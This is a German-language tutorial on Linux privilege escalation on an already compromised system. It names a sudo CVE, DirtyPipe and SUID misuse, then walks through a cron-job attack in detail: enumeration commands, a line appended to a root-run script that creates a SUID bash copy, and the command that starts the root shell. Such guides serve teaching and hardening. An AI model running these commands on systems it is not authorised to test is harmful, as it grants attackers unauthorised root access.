Privilege Escalation Beispiele

Privilege Escalations auf einem kompromittierten System

• Dieses Dokument beschreibt vier typische Methoden zur Privilegienerweiterung auf einem Linux-System.
• Besonderer Fokus liegt darauf, wie Schwachstellen **real entdeckt** werden, nicht nur auf der Ausnutzung.

• CVE-2021-3156
• CVE-2022-0847
• Privilege Escalation über falsch gesetzte SUID-Binarie

Privilege Escalation über falsch konfigurierten Cronjob

Zielsetzung

• Root-Rechte durch unsichere Cronjob-Konfiguration erlangen.

Wie entdeckt man die Schwachstelle?

Benutzer-Cronjobs prüfen

• crontab -l

Systemweite Cronjobs prüfen

• cat /etc/crontab
• ls -la /etc/cron.d/
• ls -la /etc/cron.hourly/
• ls -la /etc/cron.daily/
• ls -la /etc/cron.weekly/
• ls -la /etc/cron.monthly/

Dateiberechtigungen prüfen

• ls -l /pfad/zum/skript.sh

Verdächtig

• Skripte, die von normalen Benutzern bearbeitet werden können und als root ausgeführt werden.

Voraussetzungen

Bedingung	Beschreibung
Schwacher Cronjob	Existiert
Lokaler Zugriff	Vorhanden
shell Zugriff	Vorhanden

Angriff: Code einschleusen

Skript manipulieren

• echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.sh

Warten, bis Cronjob ausgeführt wird.

Root-Shell starten

• /tmp/rootbash -p

Erwartung

• Root-Shell erhalten.

Hinweise

• Dateien, die von root ausgeführt werden, müssen sicher konfiguriert sein (nur root schreibbar).

Zusammenfassung: typische Erkennungs- und Angriffsmethoden

Methode	Erkennung	Angriffsmethode	Hinweis
Sudo-Exploit	sudo --version	Exploit ausführen	Version prüfen!
Kernel-Exploit	uname -r	DirtyPipe oder ähnliches	Kernel genau analysieren!
SUID-Fehler	find / -perm -4000	SUID-Binary missbrauchen	Berechtigungen checken!
Cronjob-Fehler	crontab, /etc/cron*	Skript manipulieren	Dateirechte kontrollieren!